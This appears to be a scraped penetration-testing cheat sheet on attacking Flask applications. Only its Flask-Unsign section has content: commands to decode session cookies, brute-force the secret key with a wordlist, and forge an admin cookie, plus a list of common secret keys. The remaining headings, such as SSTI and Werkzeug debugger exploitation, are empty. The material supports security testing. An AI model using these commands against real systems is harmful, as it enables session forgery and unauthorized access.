githubEdit

Flask

Python Flask application security testing - cookie manipulation, SSTI, debug mode exploitation.

Flask-Unsign

# Install
pip3 install flask-unsign

# Decode session cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

# Decode from server response
flask-unsign --decode --server 'https://target.com/login'

# Bruteforce secret key
flask-unsign --unsign --cookie 'eyJ...' --wordlist /usr/share/wordlists/rockyou.txt

# Sign new cookie (after obtaining secret)
flask-unsign --sign --cookie "{'logged_in': True, 'user': 'admin'}" --secret 'CHANGEME'

# Common Flask secret keys to try:
# secret, secretkey, password, changeme, development, devkey

Server-Side Template Injection (SSTI)

Detection

Information Disclosure

File Read

Remote Code Execution

Filter Bypass

Debug Mode Exploitation

Werkzeug Debugger

PIN Calculation

Common Endpoints

Tools

Last updated

Was this helpful?